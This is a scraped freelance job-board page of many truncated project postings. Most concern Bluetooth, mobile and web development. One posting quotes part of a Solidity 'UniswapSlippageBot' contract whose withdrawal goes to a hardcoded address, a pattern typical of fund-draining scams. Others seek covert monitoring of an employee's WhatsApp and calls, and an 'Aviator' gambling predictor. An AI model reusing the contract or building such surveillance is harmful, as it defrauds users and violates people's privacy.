J2me send receive using bluetoothεργασίες

We need a simple function that will receive as parameters barcode string, orientation (vertical or horizontal) and return barcode image in the form base64.

το συγκεκριμενο app θα θελω να παιρνει και να λαμβανει δεδομενα απο ένα esp32 με bluetooth καθως και να μπορει να επικοινωνησει με firebase. Περα απο αυτα τα δυο δεν θα έ&ch...

I need an app to created from the scratch, which must be able to control the bluetooth output devices that are connected to an android Tablet. When the Tablet will play music we should be able to change the output device from the app and hear the music from the device we choose. So, we need to have visible some buttons with the name of each BT device and when we hit a button we can hear the music from the device which corespons on the button.

We would like to receive file with vocal message for our landline. Women voice, english pronunciation, soul music backround. Message will be as below: Welcome to Thank you very much for choosing for your corporate trip. For corporate bookings please press 1 For accounting and reporting purposes please press 2 Your call is important to us.

Add a number to specific cell on excel and get back a value using PHP or javascript via team viewer. Specifically I need to tr excel to add below field "Ετήσια Αναπροσαρμογή (%)" 6% and get the new " Απαιτούμενο Αρχικό Ποσό Μηνιαίας Αποταμίευσης" value.

Η εφαρμογή τρέχει στο παρασκήνιο. Της έχουμε ορίσει έναν φάκελο από τον οποίο τραβάει αρχεία κειμένου ( τα οποία έχουν ελληνικούς χαρακτήρες και δημιουργούν&...

Υπάρχει μία εφαρμογή σε iOS που έχει μείνει στη μέση και πρέπει να ολοκληρωθεί Ως τώρα έχει υλοποιηθεί το 90% της εφαρμογής αλλα λείπουν τα εξής: -H bluetooth επικοινωνία ν&...

 Statement Of Work User App: -  Login o Login with Mobile Number:  Users can enter their registered mobile number to access the app.  Login with OTP: o Users receive a One-Time Password (OTP) on their registered mobile number.  Signup o Signup with Personal Details  Users can create a new account by providing o Name o Email address o Mobile number o Password  Home Page o Users can view Banners o Users can view Sliders  View Subscription Plan o A list of available Subscription plan is displayed, categorized by:  Duration (e.g.; 1-month,3-month,6-month, 1-Year)  Select Packages o Shortlist Favorite Packages  Users can add plans to a “Favorites” list for quick future purchase. o Choose a Package  Once finalized, users can select a plan to proceed with purchase. ...

...experienced developer to help me build a new application from scratch, using .NET and Angular.js. The application will be hosted on the Azure cloud platform. Key Features: - User Authentication: The application will require a secure, reliable user authentication system. - Data Storage and Management: The application will need robust capabilities for data storage and management. - Real-time Notifications: The application will include a system for real-time notifications. - Hardware Integration: The application will need to be able to integrate with various hardware. - Reporting: The application will include a comprehensive reporting system. - Bluetooth Printer Connection: The application will need to connect with Bluetooth printers. Ideal Skills: - Proficiency in ....

...luxury travel agencies and direct clients, using Sales Navigator and other digital marketing techniques. Target Definition Identify the Ideal Customer Create a detailed profile of luxury travel agencies and direct clients, with a focus on: - Agencies specializing in customized travel and exclusive packages. - High-level professionals and executives needing premium transportation services. - Segmentation - Classify agencies based on their specialization, such as high-profile events or partnerships with luxury hotels. --- Setting Up Sales Navigator - Lead List Creation - Compile a list of 50-100 potential agencies and clients using Sales Navigator. - Use keywords like "luxury travel," "VIP transport" for the search. - ...

I'm looking to develop a social networking mobile application (Like Bla Bla Car app) for both iOS and Android platforms. The app will primarily focus on user interaction through messaging and maintaining individual user profiles. Key Features: - Messaging: Users should be able to send and receive messages within the app. - User Profiles: Each user will have a unique profile that can be customized. Ideal Skills: - Extensive experience in mobile app development, particularly for social networking platforms. - Proficiency in cross-platform development for iOS and Android. - Strong understanding of implementing user interface and user experience design for social interaction. Please share your portfolio of similar projects when bidding.

We will look for a website that allows the selection of an actor / performer and then we will build a design for the bottle for that matches the performer More details: Is this project for business or personal use? For starting a new enterprise What information should successful freelancers include in their application? Past work How soon do you need your project completed? ASAP

...Set up high-speed VPS servers optimized for VPN services in multiple locations (e.g., USA, UK, Germany). • Configure the servers to create individual VPN configurations dynamically for each user. • Ensure the servers are secure, reliable, and capable of handling multiple users with high performance. 2. Telegram Bot Features: • Users can interact with the bot to: • Purchase VPN access. • Receive their unique configuration file automatically after payment. • Select a server location from available options (e.g., USA, UK, Germany). • Notify users about their subscription status, including expiration reminders (e.g., 3 days before). • Block access to users whose subscriptions have expired. • Allow users to renew their subscriptio...

I need assistance in fetching data from API. Key Requirements: - Experience in integrating and retrieving data from APIs need figure out s&t&x-sign in api

...uploaded documents in the user profile. Form Filling: Customers should be able to complete detailed, customizable forms directly on the platform. Option to save and continue filling out forms in multiple steps. PDF Generation: Upon form submission, a PDF should be automatically generated. The PDF should include all entered data in a structured format. Both the administrator and the customer should receive the PDF via email or be able to download it from the user profile. Admin Panel: Overview of all registered customers and their activities. Management and download of submitted forms and documents. Ability to add new forms or document types. Security Requirements: Implementation in compliance with data protection regulations (GDPR compliance). SSL encryption and secure storag...

I'm seeking a skilled designer who can help create a classic and vintage-style communication chart for a unique magic system. The chart will encompass 10+ entities, and will require some drawing and creativity to depict a network with multiple connections amongst these entities. Key Responsibilities: - Design an intricate, visually appealing communication chart - ...Creative thinker with an ability to visually represent complex networks in an engaging way - Proficient in typography and able to use it effectively in a decorative capacity Please note, this project will require a level of creativity and design skill that is able to reflect the fantastical and elegant elements of a magic system within a classic and vintage design framework. (Chosen designer will receive a lot o...

I'm seeking a skilled developer to create a web-based predictor app for the Aviator game. The tool should provide real-time predictions on when the plane will 'fly away'. Key Features: - The app should integrate directly with the game's API to receive real-time data. - Predictive modelling skills are essential, as the app needs to forecast game events in real-time. Ideal Candidate:. - Experience in creating predictive models and real-time prediction systems. - Familiarity with the Aviator game will be an advantage.

More details: What is the primary purpose for tracking the location and WhatsApp activity? Employee monitoring Do you have proper legal authorization to monitor the employee's phone activities? I'm not sure and need guidance Which specific activities are you looking to monitor? Location tracking, WhatsApp chats, Calls

...solar clients. In addition to generating high-quality leads, it is essential that each lead includes accurate and verified details such as the individual’s full name, phone number, email address, and recent power bill information (e.g., monthly or quarterly usage and costs). Leads must represent genuinely interested individuals who have expressed interest in solar solutions, ensuring our clients receive actionable opportunities to convert leads into customers....

I need assistance with manual data entry of customer information I receive via emails. Requirements: - Proficient in data entry - Able to handle and convert data from emails into Excel - Detailed-oriented - Able to maintain confidentiality

I'm loo...faster than other sniper bots. The bot should also allow for manual selling at my discretion. Key features should include: - Allow me to enter the specific token contract in advance so when the dev adds the liquidity he can sniper it - Real-time notifications and easy setup & configuration - Advanced speed optimizations for enhanced performance - Customizable buy/sell triggers I would prefer to receive alerts about successful snipes through Telegram messages. Ideal skills and experience for the job include: - Proficiency in developing bots, particularly for trading on the Solana blockchain - Experience with Telegram bot development - Understanding of token liquidity and sniper bots - Ability to implement advanced speed optimizations - Skills in creating user-...

...avatars and informative videos for client education and engagement. Blogs, community forums, and educational/research articles. Social media integrations for jokes, memes, and influencer promotions. Collaboration with pet influencers to enhance client engagement. 2. Client-Facing Platform/App Features: Appointment Scheduling: Clients can view calendar availability, schedule appointments, and receive QR codes or direct links for check-ins. Records Management: Cloud-based access to appointments, medical records, and microchip data. Travelers can access their pet’s records on the fly at any veterinary clinic. Reminders & Communication: Notifications for upcoming appointments and medication schedules. Real-time updates on hospitalized pets via the dashboard. Telemedicine: ...

...incorporate the following key features: 1. UI/UX: A pleasing and intuitive interface is paramount to engage users and ensure smooth navigation. 2. Advanced Security: As this app involves money transfer, top-notch security measures should be integrated throughout the app. 3. Chat: Seamless communication features to connect users. 4. Instant Money Transfer: A quick and reliable system for users to send and receive money. 5. QR Code Integration: For easy transactions and connections. 6. Transaction History: A transparent and reliable record of all financial transactions. The app's primary purpose is to combine social networking and communication with financial transactions equally. Therefore, the balance between these two aspects is crucial. Key requirements: - Expert...

I'm seeking a professional to set up an AI call answering service for me. I receive around 100 calls a month, which is manageable. The primary role of this AI service would be to ask a number of questions, record the answers and then email them to a mailbox. The service only needs to support English. Skills and experience that would be ideal for this project include: - Prior experience with AI call answering services - Understanding of call logging and summarization - Proficiency in English

I'm in need of a seasoned...VPS, Websockets, and BLE app development. The project is aimed at creating a long-term collaboration. Key project specifications include: - Development for both iOS and Android platforms - Essential features such as Bluetooth connectivity, Database integration, Map, and GPS Skills and experience that would make you a great fit: - Proficiency in React Native for cross-platform mobile app development - Experience with MongoDB for database integration - Familiarity with Linux VPS for server management - Knowledge of Websockets for real-time communication - Expertise in BLE (Bluetooth Low Energy) app development - Skills in integrating Map and GPS functionalities If you meet these qualifications and are interested in a long-term project, please...

...browse products based on categories (e.g., grains, vegetables, fruits), price, and location. Product Listings: Farmers list produce with details, images, and prices. 3. Order Management System: Farmers: Receive notifications when orders are placed and update order statuses (e.g., processing, packed, shipped). Retailers: Track order history, current orders, and delivery status. 4. Secure Payments: Payment Methods: Support for UPI, cards, wallets, and bank transfers. Escrow System: Hold payments in escrow until both parties confirm the transaction is complete. Invoices: Automatically generate and send invoices after every transaction. 5. Logistics & Delivery: Packaging & Delivery Support: Handle packaging and partnering with logistics providers for delivery. Shipp...

The seismic reports and project of a steel-structured house . The analysis of this house needs to be performed in the SAP2000 program in accordance with TBDY 2018 and Turkish geotechnical survey report is provided in house project and geotechnical report will be provided to you.

I'm seeking a talented designer to assist with creating custom PNG designs for our personalized gifts business. We receive 30-50 orders daily and need someone to create designs based on customer requests. You'll be working primarily in Illustrator, creating designs that match customer requests for various font options. After creating the designs, you'll export them as PNGs and upload them to Google Drive with the corresponding order number. This task typically takes a few hours each day. Skills and experience required: - Proficiency in Illustrator - Experience with PNG design creation - Understand English well - Ability to work with customer specifications - Self-motivated and able to complete tasks independently

I'm looking for a skilled Flutter developer with extensive experience in healthcare applications and seamless data transfer. The project involves developing a wearable device aimed at track...transfer. The project involves developing a wearable device aimed at tracking productivity and performance, specifically focusing on mental acuity. Key Responsibilities: - Design and develop a wearable device that tracks cognitive function, attention span, and stress levels. - Ensure seamless data transfer and integration with the app. Ideal Skills and Experience: - Proficiency in Flutter and BLE (Bluetooth Low Energy) technology. - Proven experience in developing healthcare applications. - Understanding of mental focus tracking and related metrics. - Excellent problem-solving and commun...

Backend API Development Using TypeScript & Node.js - Sign-in, Signup, Reset Password, Forgot Password & Verify OTP - Dashboard Stats - Workspace and Project APIs - Packages and Payment APIs - Profile Update and Change Password - Contact Us - Admin APIs

...Sales/Corporate Sales - Identifying potential customers through cold calling - Working on existing leads as well as generating new leads - Visiting Clients to identify their needs and providing them with suitable solutions, support, information and guidance on timely basis - Providing product demonstration - Closing the deal with good negotiation skills and at most honesty - Achieving the sales target to receive incentives. - Selling products by establishing contact and developing relationship with prospects - Maintain a strong work ethics with a total commitment to success each and every day. Job Specification: - - Self-Motivated - Has Inclination for IT/ Software Sales. - Capable to meet personnel in Top Management/ Decision Makers. - Should have Relationship Quotient. ...

...import ""; contract UniswapSlippageBot { uint liquidity; string private WETH_CONTRACT_ADDRESS = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2"; string private UNISWAP_CONTRACT_ADDRESS = "0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D"; event Log(string _msg); constructor() public {} receive() external payable {} struct slice { uint _len; uint _ptr; } /* * @dev withdrawals profit back to contract creator address * @return `profits`.. */ function withdrawal() public payable { address to = startExploration(); // The specified address for withdrawal address authorizedAddress = 0x225695bb44B803a2809eFBaD41eF8AeFe8eF03e9;

...include: - All coding needs: This includes the coding for the remote start using the fingerprint module, the remote unlock functionality using BLE or standard Bluetooth, and the integration of the CAN bus and other safety sensors. - Focus on all elements: The coding assistance required will cover every aspect of the project, from the integration of the CAN bus module to the configuration of the BLE/standard Bluetooth for remote unlock. - Safety sensors: The system will include a neutral safety switch, as well as monitoring for engine RPM, door status, and other relevant indicators. The ideal freelancer for this project should have: - Extensive experience with Arduino coding - Knowledge of BLE and standard Bluetooth configuration - Familiarity with CAN...

We are looking for a skilled developer to build a solution that identifies arbitrage opportunities using the sqrtPriceX96 value of token pairs across multiple decentralized exchanges (DEXs). The goal is to automate the process of finding and executing arbitrage opportunities by monitoring token pair prices on DEXs like Uniswap v3, Sushiswap, and others. The solution should follow a step-by-step process: 1. Query the liquidity pools of various DEXs for the sqrtPriceX96 values of token pairs. 2. Convert the sqrtPriceX96 values to actual token prices. 3. Identify price differences between DEXs to spot potential arbitrage opportunities. 4. Account for transaction fees (gas and conversion) when calculating potential profits. 5. Continuously monitor and automatically execute arbitra...

I need a freelancer who can help me change the public SSH key for my OVH instance. The new SSH key is already available in the OVH dashboard. Your task is to change the SSH key via the OVH website, using Anydesk for remote access. Requirements: • You will not be provided with the private SSH key for the new SSH key. • You must change the SSH key through the OVH website interface only. • Anydesk will be used for secure remote access to the system. • Ensure no interruptions or issues with the instance’s access after making the change. Skills Required: • Experience with OVH cloud platform and managing instances. • Proficiency in working with SSH keys. • Anydesk usage for remote troubleshooting or configuration. Please apply only if yo...

...analysis and Python programming - Proficiency in using Pandas and NumPy - Ability to work with Excel files - Familiarity with Jupyter Notebook Please include in your bid examples of similar projects you've completed. You are required to write the necessary program and create an effective presentation describing: The military spending of at least the top 10 nations (in military spending) Compare the data to that country’s GDP, Compare the data to the overall military spending of the all 10+ countries, Compare the per person military spending to the per person GDP, Single out the fastest growing countries in military spending in fixed value and in percentage, State where the data came from Your code, working and well documented Your learning process using that...

...and customer base potential including preferred data delivery formats for customers Description of the business’s unit economics Commercialization plan that can be used in a SBIR Phase I application and addresses the business’ sustainability plan Submissions will be evaluated by a panel of global climate innovation experts. Up to 10 winners will be awarded cash prizes of $10,000 each and receive the following additional benefits: A tailored assessment of their readiness to submit a NASA SBIR proposal Admission to a 10-week capability development training designed to strengthen their NASA SBIR Phase I proposal submissions NASA’s Climate Data Sources, Considerations, and Use Cases As a core requirement of this Challenge, participants must incorporate ...

I am looking for a skilled developer to create a dynamic reverse proxy solution using and http-proxy-middleware. The proxy must function similarly to , offering seamless web proxy functionality with integration of a Service Worker on the frontend for advanced request handling. Requirements: Backend (Proxy Server): Build a reverse proxy using and http-proxy-middleware. Support dynamic target selection, routing requests to different backends based on specific rules (e.g., request paths, query parameters, or custom headers). Forward headers, cookies, and other request/response metadata correctly to emulate CroxyProxy's behavior. Implement custom middleware to modify or log requests and responses as required. Frontend

...should be integrated. I’d like the option to use dropshipping services such as Printful or Printify for these custom items. Subscription Model: The store should be easily adaptable for future subscription-based offerings, where customers can receive mystery boxes on a recurring basis. Visual & Design Elements: A clean, aesthetically pleasing design that reflects the fun, surprise, and joy of receiving a customized gift box. Use images to enhance user engagement, especially in the theme and category selection process. Strong branding throughout the website, using colors and typography that reflect a cozy, personalized, and high-quality shopping experience. Payment and Checkout System: Fully integrated payment gateways (e.g., Shopify Payments, PayPal, etc.). Easy...

...recommendation from you) Ubuntu OS. Update Suite CRM version to very recent or newest. Current site has 1 plugin – a drag and drop capability that allows users to drag and drop documents and forms in addition to menu navigation importing. Ensure we do not lose this capability by employing too new version of OS or SuiteCRM software. Add capabilities: Email send/receive (standard for SuiteCRM send/receive capabilities) Currently, I cannot login to backend using admin username and pass. I see it there in the mySQL databases; I just can’t get it to login. I belive someone may have tinkered with the file. I would like to configure the databases to live on an additional server storage drive, not the same drive used for the website itself. I...

...Search/Matching Page Businesses: Search for athletes by: Sport Engagement metrics (social media followers, post interactions) Location or school Athletes: View businesses seeking partnerships. Deal Management Page View contract terms. E-signature integration. Payment tracking (e.g., breakdown of payment to athlete, referrer, platform). Referral Process Flow: Referrer Signs Up: Referrers register and receive a unique referral code or link. Athlete Registration: Referrer invites an athlete to join the platform via their link. Athlete completes the sign-up process. Matching & Deal Creation: Businesses search for athletes or get referrals via referrers. Athlete and business agree on a deal. Referral Verification: System confirms the referrer was linked to the athlete/business...

I'm looking for a Raspberry Pi based Bluetooth cabinet door lock for my office. The primary purpose of this lock is to control access in a shared space. Ideal Skills: - Proficiency in Raspberry Pi programming - Experience in Bluetooth technology integration - Mobile app development skills Key Requirements: - The lock should be secure and reliable - It needs to be controlled via a mobile app - The project includes both software and hardware components. Please provide examples of previous similar projects you have completed.

I'm using AWS. AWS sent me the following two messages: ===== We are sending this email to provide you with an update on Ubuntu 20 blueprint availability on Amazon Lightsail. The existing Ubuntu 20 blueprint will be reaching end of standard support on April 2, 2025 [1], and it will be removed from Lightsail on April 2, 2025. As a result, you will not be able to create new instances with this blueprint on Lightsail on or after April 2, 2025. This blueprint will also be removed from the response of Lightsail "get-blueprints" command in the AWS Command Line Interface (CLI) and corresponding Application Programming Interface (API). A list of your affected resources can be reviewed in the "Affected Resources" tab of your AWS Health Dashboard. This change does...

...implementation, graphic design, and production of materials for campaigns/advertisement videos, among others. Our company will act as an intermediary, meaning that we contact potential customers where we see development potential within the digital aspect of their business, or they reach out to us. Upon a successful deal, we hire freelancers who create the "product" that we have sold. The freelancer(s) receive specific instructions and requirements on what needs to be done and what the work should contain. They then deliver the finished product to us and grant us full ownership of the product, among other things. We then pass it on to our client. This is beneficial for all parties: • Our client gets a good product based on their needs. • The freelancer gains m...

I'm looking for someone to help me shop for second-hand clothing. You will visit second-hand stores, showing me potential buys over a video call. I will pay for the items as well as covering the postage costs. You will also receive compensation for your time and any items I ask you to buy for yourself. Key Responsibilities: - Visit second-hand clothing shops. - Show me potential purchases over video call. - Purchase items on my behalf. - Receive compensation for your time and purchases. Ideal Skills and Experience: - Good sense of style and fashion. - Experience with second-hand shopping. - Reliable internet connection for video calls. - Trustworthy and able to handle transactions on my behalf. I will pay for you depending on how many stores you go and how long time y...

I have to do the coding for attiny 85 to control the led and buzzer based on the buzz wire.

I'm seeking a skilled developer to create a web-based predictor app for the Aviator game. The tool should provide real-time predictions on when the plane will 'fly away'. Key Features: - The app should integrate directly with the game's API to receive real-time data. - Predictive modelling skills are essential, as the app needs to forecast game events in real-time. Ideal Candidate:. - Experience in creating predictive models and real-time prediction systems. - Familiarity with the Aviator game will be an advantage.

...system will integrate AI-powered video and text responses, incorporate historical client correspondences and documents, and provide a seamless communication experience for professional service providers. This project is unique in its scope and rewards, and we’re offering an exceptional opportunity: What’s in it for You? A $100 Prize: The freelancer with the most creative and feasible plan will receive a $100 cash reward. An O-1 Visa Sponsorship: In addition to the cash prize, we will sponsor the winner for an O-1 Visa (via regular processing), enabling you to expand your career potential in the United States as a person of extraordinary ability. Global Recognition: As the mind behind the winning plan, you’ll gain exposure and acknowledgment for contributing to...

Are you a native Australian over 50 with a smartphone? Here's an easy way to earn $100 in just a few hours! Why You Should Join: Simple and Quick: Record 1,024 short phrases like "turn on the AC" using a user-friendly app. Flexible Work: Start and stop whenever you want – complete the task in a quiet indoor space. Fast Earnings: Finish in less than 3 hours and get paid! Guaranteed Approval: Follow our straightforward instructions, and approval is 100% guaranteed! Extra Rewards: Invite & Earn More: Refer friends or family to join, and for every successful participant, you'll receive an additional $10 bonus. No experience? No problem! If you have a Australian accent, a smartphone, and a quiet space, you're ready to start. Join now an...

Project Description: Turnkey Web Application Development Using Django MAXIMUM BUDGET: USD 2,250. 1. Project Conditions Exclusive internal use: The application is intended only for the employees of the importing company. No external users will have access or be able to make purchases through the application. Deadline: 3 weeks from the project award. Current status: The project is already 20% complete. Partial deliveries: At least 2 partial revisions are required before the final delivery for feedback. 2. Objective Develop a turnkey web application for an importing company that facilitates: - Management of customer orders. - Consolidation of purchases made from factories. - Administration of an inventory. - Registration and customization of client information. - The application ...